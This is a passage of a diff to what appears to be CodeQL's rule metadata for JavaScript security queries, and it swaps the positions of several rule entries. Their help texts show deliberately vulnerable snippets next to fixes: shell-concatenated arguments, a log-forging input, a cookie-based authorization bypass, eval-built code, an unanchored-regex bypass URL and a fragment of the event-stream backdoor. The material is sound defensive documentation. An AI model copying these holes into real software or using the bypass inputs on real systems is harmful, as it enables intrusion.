escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n nodeOpts = args[1];\n args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" - }, - "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], - "description" : "Forwarding command-line arguments to a child process\n executed within a shell may indirectly introduce\n command-line injection vulnerabilities.", - "id" : "js/indirect-command-line-injection", - "kind" : "path-problem", - "name" : "Indirect uncontrolled command line", - "precision" : "medium", - "problem.severity" : "warning", - "security-severity" : "6.3" - } - }, { - "id" : "js/log-injection", - "name" : "js/log-injection", + "id" : "js/user-controlled-bypass", + "name" : "js/user-controlled-bypass", "shortDescription" : { - "text" : "Log injection" + "text" : "User-controlled bypass of security check" }, "fullDescription" : { - "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user." + "text" : "Conditions that the user controls are not suited for making security-related decisions." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n // GOOD: remove newlines from user controlled input before logging\n let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n", - "markdown" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n // GOOD: remove newlines from user controlled input before logging\n let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n" + "text" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.cookies.loggedInUserId !== req.params.userId) {\n // BAD: login decision made based on user controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.signedCookies.loggedInUserId !== req.params.userId) {\n // GOOD: login decision made based on server controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n", + "markdown" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.cookies.loggedInUserId !== req.params.userId) {\n // BAD: login decision made based on user controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.signedCookies.loggedInUserId !== req.params.userId) {\n // GOOD: login decision made based on server controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-117" ], - "description" : "Building log entries from user-controlled sources is vulnerable to\n insertion of forged log entries by a malicious user.", - "id" : "js/log-injection", + "tags" : [ "security", "external/cwe/cwe-807", "external/cwe/cwe-290" ], + "description" : "Conditions that the user controls are not suited for making security-related decisions.", + "id" : "js/user-controlled-bypass", "kind" : "path-problem", - "name" : "Log injection", + "name" : "User-controlled bypass of security check", "precision" : "medium", "problem.severity" : "error", - "security-severity" : "6.1" + "security-severity" : "7.8" } }, { "id" : "js/password-in-configuration-file", @@ -2622,166 +2622,166 @@ "security-severity" : "7.5" } }, { - "id" : "js/hardcoded-data-interpreted-as-code", - "name" : "js/hardcoded-data-interpreted-as-code", + "id" : "js/file-system-race", + "name" : "js/file-system-race", "shortDescription" : { - "text" : "Hard-coded data interpreted as code" + "text" : "Potential file system race condition" }, "fullDescription" : { - "text" : "Transforming hard-coded data (such as hexadecimal constants) into code to be executed is a technique often associated with backdoors and should be avoided." + "text" : "Separately checking the state of a file before operating on it may allow an attacker to modify the file between the two operations." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n", - "markdown" : "# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n" + "text" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n", + "markdown" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-506" ], - "description" : "Transforming hard-coded data (such as hexadecimal constants) into code\n to be executed is a technique often associated with backdoors and should\n be avoided.", - "id" : "js/hardcoded-data-interpreted-as-code", - "kind" : "path-problem", - "name" : "Hard-coded data interpreted as code", + "tags" : [ "security", "external/cwe/cwe-367" ], + "description" : "Separately checking the state of a file before operating\n on it may allow an attacker to modify the file between\n the two operations.", + "id" : "js/file-system-race", + "kind" : "problem", + "name" : "Potential file system race condition", "precision" : "medium", - "problem.severity" : "error", - "security-severity" : "9.1" + "problem.severity" : "warning", + "security-severity" : "7.7" } }, { - "id" : "js/user-controlled-bypass", - "name" : "js/user-controlled-bypass", + "id" : "js/unsafe-code-construction", + "name" : "js/unsafe-code-construction", "shortDescription" : { - "text" : "User-controlled bypass of security check" + "text" : "Unsafe code constructed from library input" }, "fullDescription" : { - "text" : "Conditions that the user controls are not suited for making security-related decisions." + "text" : "Using externally controlled strings to construct code may allow a malicious user to execute arbitrary code." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.cookies.loggedInUserId !== req.params.userId) {\n // BAD: login decision made based on user controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.signedCookies.loggedInUserId !== req.params.userId) {\n // GOOD: login decision made based on server controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n", - "markdown" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.cookies.loggedInUserId !== req.params.userId) {\n // BAD: login decision made based on user controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n if (req.signedCookies.loggedInUserId !== req.params.userId) {\n // GOOD: login decision made based on server controlled data\n requireLogin();\n } else {\n // ... show private information\n }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n" + "text" : "# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-807", "external/cwe/cwe-290" ], - "description" : "Conditions that the user controls are not suited for making security-related decisions.", - "id" : "js/user-controlled-bypass", + "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-079", "external/cwe/cwe-116" ], + "description" : "Using externally controlled strings to construct code may allow a malicious\n user to execute arbitrary code.", + "id" : "js/unsafe-code-construction", "kind" : "path-problem", - "name" : "User-controlled bypass of security check", + "name" : "Unsafe code constructed from library input", "precision" : "medium", - "problem.severity" : "error", - "security-severity" : "7.8" + "problem.severity" : "warning", + "security-severity" : "6.1" } }, { - "id" : "js/unsafe-code-construction", - "name" : "js/unsafe-code-construction", + "id" : "js/regex/missing-regexp-anchor", + "name" : "js/regex/missing-regexp-anchor", "shortDescription" : { - "text" : "Unsafe code constructed from library input" + "text" : "Missing regular expression anchor" }, "fullDescription" : { - "text" : "Using externally controlled strings to construct code may allow a malicious user to execute arbitrary code." + "text" : "Regular expressions without anchors can be vulnerable to bypassing." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // GOOD: the host of `url` can not be controlled by an attacker\n if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is 